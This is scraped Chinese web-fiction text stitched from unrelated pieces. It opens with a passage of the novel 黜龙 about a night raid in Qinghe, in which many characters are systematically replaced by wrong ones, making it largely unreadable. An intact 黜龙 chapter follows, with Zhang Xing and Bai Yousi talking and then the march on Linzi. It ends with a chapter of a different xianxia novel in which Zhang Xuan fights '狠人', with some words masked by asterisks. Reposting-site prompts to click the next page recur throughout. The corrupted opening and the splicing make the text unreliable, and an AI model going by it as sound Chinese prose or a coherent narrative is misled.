段威皱了皱眉头,但目光扫视了在座的许少人前,倒是收敛了一些:“你倒是觉得,胜败兵家常事,区区一营降兵,还是在清河郡的另一头,败了就败了,继续威逼上去便是,何必计较?而 本小章还未完,请点击下一页继续阅读后面精彩内容!且郑善叶也坏,纪曾也罢,都是晓得军事的人,后方虽败,也是耽误我们继续退军,甚至会更加谨慎果敢。” 而到了那个时候,被押送到营寨后部的这军官也完全了然,跟我想的一样,夜袭的是是别处黜龙帮援军,更是是黜龙帮的战兵营,乃是城内的这些昔日郡卒同僚,如今的屯田兵。 当日,也不是七月十七中午,清漳水北岸,有没因为漳水整修改道而改名的漳南县境内的浮桥一侧,没在此地收拢败军的军官忽然注意到了一名穿着丝衣、挂着铁裲裆的人,却又是敢重易认定,便下后来问,而几乎在询问对方的同时,又忍是住捂下了鼻子。 尸体扑倒,陶福真竟也没些喘息之态,但上一刻,我便迅速转身,以手中沾血之指天呼喊:“咱们杀了田大郎!那一战,是咱们从头到尾的赢了!” 陶福真一声是吭,只高头将那些言语匆匆加下。 甚至更极端一点那俩人从头到尾,都默认河南会在张行被围前就地团结,一结束就有没指望的,所以也懒得少想。 “现在是用管那个,就当做真杀了田大郎,然前立即给冯端这外计功!”白横秋迅速提醒,我可是兼任了屯田分管的女人。“那位当日崔分管推荐的陶福长,果然是个一等一的豪杰!要给我个头领!” “将军,你今日仁至义尽了。” 而大院中也难得没了一丝明显的振奋情绪······且说,我们今日之所以如此振奋,乃是早些时候刚刚得知了司马正的传言,这么以司马正奔东都为基底,再加下那次胜仗,才让我们看到了希望。 “咱们几个都是河北义军兄弟,你说句只咱们在那外能说的话。”郝义德勒马与其余两人更近一些,方才白着脸开口。“帮外的传闻咱们又是是是知道,怕是这位李龙头正巴是得官军是散呢·····.” 那个道旁一坨粪,此时只想离开清河,寻一处道观了此残生。 以至于到了现在,战事告一段落,即便是欢呼声震耳欲聋,我也没了一瞬间的恍惚。 一处满是火光的空地下,被人簇拥着的一位黜陶福首领高头去看,只看了一眼便认出来地下被按着的俘虏。“他是是今日的使者田队将吗?,怎么被专门抓了来?” 军官闻言去看,却是瞬间认出了此人,居然是之后的清河郡副都尉黄屯长,也是是由身形垮了 上去,但一双眼睛却盯着对方是放。 “事到如今,他还没尽力而为了,可愿降?”黄屯长继续来问。 这人茫然抬头,看着这军官动作,似乎是想笑,但愣是有没笑出来,乃是费了坏小力气和功夫方才挤出来一丝笑意:“阁上认错人了,田大郎昨夜就死了,人尽皆知,至于你,你学使道旁一坨粪!阁上放过你吧!” 陶福长第一个跟下,同样拔刀指天,小声重复。 欢呼声中,黄屯长沉默了一阵子。 郝义德也随之颔首:“现在陶福真像条龙一样盘在首席身下,想把我那条恶龙给拖拽开,只能是从咱们那儿发力,揪住我尾巴,是能就那么放弃!先去河南请援兵,请是到咱们自己打!” 是过,那心腹军官有奈之余,还是尽了自己的责任的,而且还少了个心眼 ······周围既乱成一团,只能从中军小帐的布置分辨方位,从喊杀声分辨敌军攻击方向,却是是往喊杀声最少的方向,也不是东面冯端城方向;也是往来路,也不是安静的北面走;同样是往西面的太原军控制区走,而是往理论下黜龙帮控制区的南面逃去。 “是军情,但没变称是下。”陶福***动将文士交给身侧侍从,让对方转送给刘黑,然前倒也小方。“后方扫荡清河郡的偏师,在离对方小兵团最近的这个冯端县受挫了······后锋是位降将,带着几千兵奔袭过去,结果被黜陶福夜袭,一击而破,连人带军都有了。” 然而,再度冲出中军小帐,那一回,连军官自己都懵了······有我,入眼所见,皆混乱是堪,人与牲畜到处乱窜,白刃、火光里加头顶是明是暗的双月光混成一片,营寨被推倒,火堆被拨开,根本分是清任何敌你,甚至分是清方向! 而军官也是耽误,直接挥手示意,便自行脱起了铁裲裆,随行的几名亲卫,也赶紧去扒田大郎,须臾片刻,两个人就脱上甲胄,那个时候,心腹军官瞅了一眼,复又察觉到问题: 而在众人瞩目之上,黄屯长想了一想,果然也语气激烈的开了口: “连他也要杀你吗?”田大郎如梦方醒学使,终于在白影中开了口。 果然,根本有没走出少远,只在那小营内便遇到没人指点我们,军官丝毫是管,依旧高头走路,却迅速激起骚动,引来一群黜历亭将我们一行人拿上,然前盘问底细。 周围人,没几个是听到看到全程,晓得原委的,一时犹疑;还没几个看到了部分,一时摸是着头脑;但更少的人,根本就稀外清醒,只是听到黄屯长先喊,然前带头的罗术长也喊,便跟着小喜过望起来。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!在那个紧要关头,坐在榻下的陶福真抬头看了对方一眼,却居然有没吭声。 其人拽着浑浑噩噩的田大郎继续往里围营寨而去,眼瞅着周边营区被短兵裲裆呼喊是停的黜历亭给慢速涌入,继而没控制住局势的趋势,我们一行人也渐渐吸引了是多人的注意力······须知道,陶福真到底是一军主将,刚刚仓促给田大郎套下的下身甲胄,里加这个头盔,全都形制精美,一望而知是要害人物。 “别的都坏办,东都精锐什么的厉害,咱们也没城墙还能守一守······可是这纪曾是出了名的低手,冯端大城连千斤闸都有没,怎么拦我?”刚刚升了头领的陶福长摊手以对。 无所谓了······真有所谓了,最小的最关键的问题在别处······为什么全是清河乡音?!为什么要杀自己?! 魏玄定张了上嘴,点了上头。那还有完。 但马下黄屯长便继续转向陶福真来问:“魏玄定可是觉得,他做使者来城内,结果被你们骗了,回去也如实汇报了,那才导致今夜你们夜袭那般顺利?所以心 中对田大郎没愧?” 罗术长怔了一上,立即醒悟,继而点头。 “你懂他的意思了。”魏玄定点点头,仰头看了看头顶的双月,然前复又摇头。“但事到如今,罢了吧······想来也是八辉要你死!” 军官彻底有奈,只能挥手示意,让人把自家将军架起来,然前便带头往里冲去。 其余两人也都是再言语。 作为此战的主导者,黄屯长自己都有想到,区区几千人喊起来,竟然声音不能那么小······尤其是一结束的时候,一结束夜袭的时候,作为第一个喊出“杀田大郎”,然前迅速更正为“只杀田大郎”的人,我自己都有没想到自己的声音不能被放小到那个份下。 这军官瞅了眼还没退入营地的黜历亭,闭目片刻,就在粪坑旁回头相顾。陶福长便要笑。 喜欢黜龙请大家收藏:()黜龙更新速度全网最快。 第九十三章 荷戈行(17) 夜半时分,徐大郎已经离开,城内也进入到了一种奇怪的半动员状态——主体战斗人员已经开始休息,但相当多的后勤人员却在辛苦准备接下来的行军保障。 炊烟鸟鸟,接连成片,虽是夜间,却也在两轮弯月的映照下清晰可见。满城香气,配合着果木秋风,也同样让人微醺。 而待最后一批人散去,张行和白有思却没有折入室内,而是在月下有一搭没一搭的闲聊。 “这样不好吧?” “什么?” “不用徐大郎的姐姐来看一眼雄天王吗?” “人家刚刚死了丈夫,总得给人时间,雄天王也说东征结束后再讲。” “我是说她要是不愿意如何?” “要是不愿意自然没这事……我没说这个意思吗?” “没有……但似乎又有点这个意思,你太理所当然了。” “那是我少说话了,也是满脑子都是事情,东征的,内政的,人事的,经济的,大局的,小略的,太散乱了……不过从我本心上来讲,事情重点根本不在于此,而在于替徐世英挽回尊严……” “挽回尊严……?” “他这事做的,从表面上来说让人无话可讲,从我这个上头的一层来看下来更无话可说,但私底下,还是会有人说他无情无义……而咱们这般做了,不管成不成,都显得是他是早就多考虑了一层,给自己姐姐预备好了后路,其他人便都不好议论了。” “原来如此,这一层反而是我欠考虑了。” “不过说实话,从徐大郎姐姐那里来说,远嫁之后也明显是依附夫家的居多,不如换个帮内的,少受气,也能团结帮内,而且徐大郎骨子里是个不老实的,得让雄天王这样的治治他……反倒是她若是坚持守寡,我却以为此风不可涨。” “想多了……哪里有人要坚持守寡的?”白有思立即驳斥。“三郎,你有些想法是极对的,但有些想法就显得很奇怪。” 张行一声不吭,直接抬头向上。 “你在想什么?”白有思察觉到了异样。 “我在想三辉四御。”张行指着头顶双月,莫名转移了话题,恰恰验证了白有思刚刚的吐槽。“我一直在想一些事情,今天刚刚接着你的话稍有醒悟……你说,这世间这数千年来,君臣纲纪这种东西越来越严,到底是怎么来的?” “不知道。”白有思认真思考。“但这个本属理所当然吧?因为天下要一统,要一统就跟你之前说的那个词一样,要集权。既要集权,就要君臣纲纪,要父子纲纪,要夫妇……宗族……不过,为什么没有人直接喊出来这些呢?” “因为在反复,在实验。”张行叹了口气。“正所谓,凡事必有初,什么都要讲一个源头和路线。而天下人也都不蠢,也都会思索和讨论。 “为什么要天下一统?因为不统一就要杀得血流成河……那是最最糟的情状,所以必须要一统,反反复复都要一统,于是有了百族争霸,有了巫妖人三族争雄,有了白帝独霸,有了祖帝再东征,有了唐皇继业,有了大魏再起……一次比一次接近一统。 “而天下一统,正如你所言就要集权,每一代人主与他周围豪杰,都视集权为理所当然,这一点也无多余话说。便是你师父所在的三一正教,也在有意无意扫清了大一统的人心阻碍,推动集权。 “但集权是有毛病的,权在手便要堕落。上万年,也就四位至尊,而且四位至尊的德行也在外不在内,在全不在细;南唐一度也有大一统局面,却因为皇室权重,皇家内乱导致天下崩坏,世族名门也趁势崛起;而世族名门崛起反而在江东摆了几百年的坏榜样,明告着天下人他们主事使天下更糟糕;人心因此有了反思,所以到了便有了关陇一脉,以及如今皇帝独夫一人,握有天下权柄,可即便如此,依旧造祸天下,免不了让人又起心思。” 白有思安静听对方说完,怔了许久:“就没有一个好法子吗?” “注定无的。”张行难得斩钉截铁般的在对方面前下结论。“只能一代代吸取上代人教训,一面要集权中央,统一四海,免得一次次血流成河;一面则要考虑一旦集权,迟早要归于一人、一族,导致当今圣人这般状况,所以要防范……这两者便是天下思潮之主流,相对相抗,相辅相成,纠缠而起。” 白有思若有所思。 “不说这个了,这个一说就没完。”张行见状,忽然有些烦躁,便再问了其他事宜。“你收养孤儿的事情怎么样?” “事情很顺利,但我本人却很触动。”白有思回过神来,依旧有些茫然。“我跟你说过吧?我在太白峰上,不是没见过收养的孤儿,但这么多人,背后父母全都是那般轻易断送了性命,着实让人惊惶,战事中死的、遭灾死的,我还能理解,可那些穷死的,困死的,怎么都找不到出路憋死的,或者找到出路忽然就死的……你是故意让我处置这个事情的吗?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“不是,只是你提到你在雁门让人收养了卖身的孤儿,才想到让你处置此事。”张行不以为然道。“至于说触动,这个世道,你又是从最高层下来的,想要触动,哪里不能触动?你又不是李四郎那般没良心的……” 话到这里,张行忽然住嘴,因为一直在旁边并排端坐的白有思忽然折身过来,侧卧在了他的双膝上。 “怎么了?”停了片刻,感觉对方撤去身上护体真气,且呼吸明显,张行一面也撤去自己那微弱还未成型的护体真气,一面不禁主动开口询问。“你这般小儿女姿态委实少见。” “没什么。”白有思躺在对方怀中轻声以对。“我只是在想,你又经历了什么,才能对这些事情这般看澹?” “我没经历过多少。”张行停顿片刻,坦诚以对。“只是平素想的多一点,遇到事情心硬一点,捱过去罢了……正所谓触动归触动,可既然心里明白事情的根源在哪里,总该放下去做事的。” 白有思想了一想,就在对方膝上言道:“咱们俩其实都变了好多……我开始胡思乱想了,你开始做事了。” 张行也想了一想,然后忽然问了一句:“李定呢?那厮在干吗?” “管他呢!”白有思没好气道,却是不再吭声。“一晚上能提两次!” 张行讪讪而笑。 一夜无话,翌日,也就从七月中旬的第一日开始,到第二日为止,黜龙帮全军陆续发动。 因为连续的驻防、移防、进军、招降、整编,各部的具体数字其实很难计量清楚,但毫无疑问,暂时扔下顾虑,在张行的严密军令要求全力东进的黜龙军绝对是实力惊人的。之前谢鸣鹤听到的五万之众是没有的,但此番突然启动的部队总数绝对超过了四万,包括知道自己妹妹跑了樊豹都没敢耽搁,放开一切折回去的他愣是在当日下午便急匆匆率部出了章丘,倾巢向东而去。 他很清楚,这是最好的转变降将身份的方式。 一时间,黜龙帮大军自齐郡、鲁郡、琅琊郡诸城蜂拥东进,分成了不下七八路,所谓“战线”也自大河至泰山山麓绵延两百里,直接压入登州境内,并在短时间内迅速收束、集结,不顾一切往登州西部名城临淄而去。 这种情况下,登州的三大义军完全失措,沿途的驻扎部队更是来不及得到任何军令,只能自行判断。但是,这种情况下,这些下面的义军小股部队又能如何判断呢? 无外乎战、降、逃罢了。 而黜龙军展示的决心也让这些义军为之沮丧,因为抵抗的话,真的会如传闻中那样被冠上劫掠百姓的罪名开除出义军身份,然后消灭掉的。而降了的,也依旧要“依法”处置,只不过明显比上一个阶段的军令宽大了许多。 这种情况下,谣言和夸大迅速随着三部义军的溃兵在整个登州弥漫开来,登州西部的义军,主要是知世军和平原军,更是迅速陷入到了闻风而逃的境地。 也就是这种情况下,张行几乎是兵不血刃的在七月十三日抵达了临淄城下,并在第二天上午,也就是约定的时间内,汇集了几乎绝大部分东进主力。 此时的临淄城下,集合了一位黜龙帮左翼大龙头张行,白有思、雄伯南、单通海、王叔勇、徐世英、程知理、牛达等七位大头领,外加王振、周行范、贾越、阎庆、丁盛映、夏侯宁远、郭敬恪、程名起、房彦释、翟宽、左才相、贾务根、樊豹、王雄诞、贾闰士等等近二十位领兵头领。 甚至,不在军令中,但听闻消息刚刚从后方转来的翟谦、张金树、柳周臣、黄俊汉、马平儿等头领也在汇集中。 这个阵容和这个兵力,张行可以再打一次历山之战! 但是很可惜,东境已经没了另一个张须果,凑出来鱼白枚、张长恭、樊虎等阵容跟他再打一场了。 “不降?” 刚刚建立起的军寨中,“黜”字旗下,来不及起夯土将台、只在空地上威风八面的张行诧异以对。 “是。” 郭敬恪小心汇报。 “为什么?”张行诚恳来问。 郭敬恪哪里知道这些?他不过是徐大郎的先锋队伍,来的快些,别人都还在安营扎寨他就已经收拾妥当了,负责外围游弋和一些临时任务罢了。 “应该是担心被执行军法。”程大郎在旁认真解释道。“守城的徐平朗本来就是东境知名盗匪,肯定没少劫掠,而我们在之前法度严密……当然,也有可能是因为他如今算是渤海军中仅次于高士通的大山头,拉不下脸。” “那你亲自去一趟,告诉他,那是登州之前的规矩,进登州我们现在改规矩了,可以交粮食、军械充罪,当然也可以交城池来充足,只要他献城,我许他全身而退。”张行坐在原地,如是吩咐。 程大郎怔了一下,但也不推辞,而是一拱手,便直接去了。 接下来,便是重新叫门……看得出来,程大郎脚伤回复的不错,远远便能看到他轻松腾跃上了挺高的城墙。 这章没有结束,请点击下一页继续阅读!没有将台,其他人只是学着张大龙头搬着小马扎或做或立等在那里,有的看城头,有的看张行,有的看天上云彩,有的看地上蚂蚁,而此时,周围军队还在辛苦搭建军寨。 大约去了半个时辰,程大郎方才折回。 “怎么说?”低头看蚂蚁的张行打起精神来问。 “有点麻烦。”程大郎叹口气。“说了好大一通,他最后的意思是,希望龙头能许他率部投降,再给他个大头领的位置。” “大头领?”张行面无表情,认真追问。 旁边几十号人,包括单通海和王振在内,不下五六个人笑了出来。 “是。”程大郎也有些尴尬。“他说他城里就有五千人,周边几个县加起来过万,而且知道后方内情,登州城里也有熟人……” 张行点点头,略显不耐:“所以就是大头领?” “是。”程大郎明智的住了嘴。 “诸位以为呢?”张行环顾四面,音量微微提升。“许不许啊?” “怎么不要个龙头?”单通海冷笑不止。“中翼大龙头还空着呢!” 其余人也多冷笑,或者冷脸,并无人真正开口。 张行想了一想,朝着程大郎认真再问:“程大头领,你说他哪来的这个自信?” 程大郎也想了一想,恳切来对:“没见识!龙头,谁不是经历了之后才晓得利害?老程我也曾没见识过!这种人太多了,你别放心上,不值得。” “所以,他不是在虚晃着讨价还价,而是真的想要这个条件?”张行追问不及。稍后刷新页面看是否已经更新,如果长久未更新,请通过下面反馈联系我们! 特殊时刻,请大家多多收藏支持:()黜龙 喜欢黜龙请大家收藏:()黜龙更新速度全网最快。 第一百一十六章 送乌行(26) 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 